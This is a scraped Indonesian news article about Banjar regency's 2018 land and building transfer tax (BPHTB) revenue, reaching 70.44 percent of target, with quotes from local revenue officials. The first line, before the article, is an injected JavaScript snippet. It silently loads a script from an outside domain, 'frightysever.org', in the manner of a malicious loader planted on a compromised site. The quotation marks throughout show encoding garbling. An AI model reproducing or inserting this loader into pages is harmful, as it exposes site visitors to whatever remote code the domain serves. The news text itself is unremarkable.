(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Capai realisasi Bea Perolehan Hak atas Tanah dan Bangunan (BPHTB) pada Badan Pendapatan Daerah (Bapenda) Kabupaten Banjar, mencapai Rp 12,6 miliar atau 70,44 persen dari target yang ditetapkan sebesar Rp 18 miliar.
Menurut Kepala Bapenda Kabupaten Banjar H. Syahrialludin, capaian Triwuan II Pendapatan Asli Daerah (PAD) dari BPHTB, bukan tanpa kendala. Karena potensi transaksi hanya berkisar 25 persen dari 20 Kecamatan yang ada di wilayah Kabupaten Banjar.
“Capaian pajak jenis BPHTB ini tidak terlepas dari pembangunan infrastuktur yang telah dilakukan oleh pemerintah daerah dengan mendorong masyarakat untuk berinvestasi pada property berupa tanah dan bangunan dilokasi-lokasi strategis dalam rangka mendongkrak geliat pertumbuhan ekonomi masyarakat,â€Âbebernya.
Sementara itu menurut Kabit Pendapatan II Meutia Irawahdini, penyapaian ini tidak lepas dari kontribusi dari berbagai pihak terutama PPAT/Notaris dan juga BPN, “Namun pencapaian ini harus terus ditingkatkan dan pastinya Bapenda sangat optimis target penerimaan BPHTB akan tercapai pada akhir tahun nanti hingga realisasi diatas 100 persen,†ujarnya.
Sebelumnya perlu diketahui Capaian realisasi Penerimaan PAD dari Bea BPHTB Triwulan I sampai dengan 29 Maret 2018 kemaren, di Kabupaten Banjar sudah lampaui target dan sudah mencapai realisasi diangka Rp 6,6 miliar.
Menurut Syahrialludin target murni 2018 BPHTB sebesar Rp 18 miliar telah terealisasi sebesar 36,74 % atau capaian realisasi PAD dari BPHTB di Kabupaten Banjar dari target Rp 4,5 miliar sudah mencapai realisasi Rp 6,6 miliar.
“Meskipun peluang BPHTB sangat besar untuk lebih dioptimalkan potensinya, namun memiliki kendala, mengingat capaian BPHTB bersifat perhitungan sendiri oleh yang melakukan transaksi,†ujarnya.
Menurutnya BPHTB yang sebelumnya merupakan pajak pusat. Namun Fisibilitas dan Immobilitasnya menjadi salah satu alasan penting BPHTB lebih cenderung menjadi pajak daerah. Bila dikaitkan dengan unsur pelayanan masyarakat, akuntabilitas dan transparansi menjadi menjadi isu yang paling disoroti di era otonomi daerah.
“Dengan peningkatan penerimaan pendapatan dari sector BPHTB diharapkan dapat memberikan kontribusi dalam meningkatkan kesejahteraan masyarakat di kabupaten banjar,†ungkap Syahrialludin.
Realisasi yang cukup besar dari target Rp 19,5 miliar mampu tercapai Rp 27,7 miliar. Itu karena banyaknya pembayaran jual-beli tanah dan bangunan. “Penerimaan daerah yang melebihi target merupakan keberhasilan besar karena Pemkab Banjar kehilangan sejumlah sumber pendapatan dari sektor pajak dan retribusi daerah,†ujarnya. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.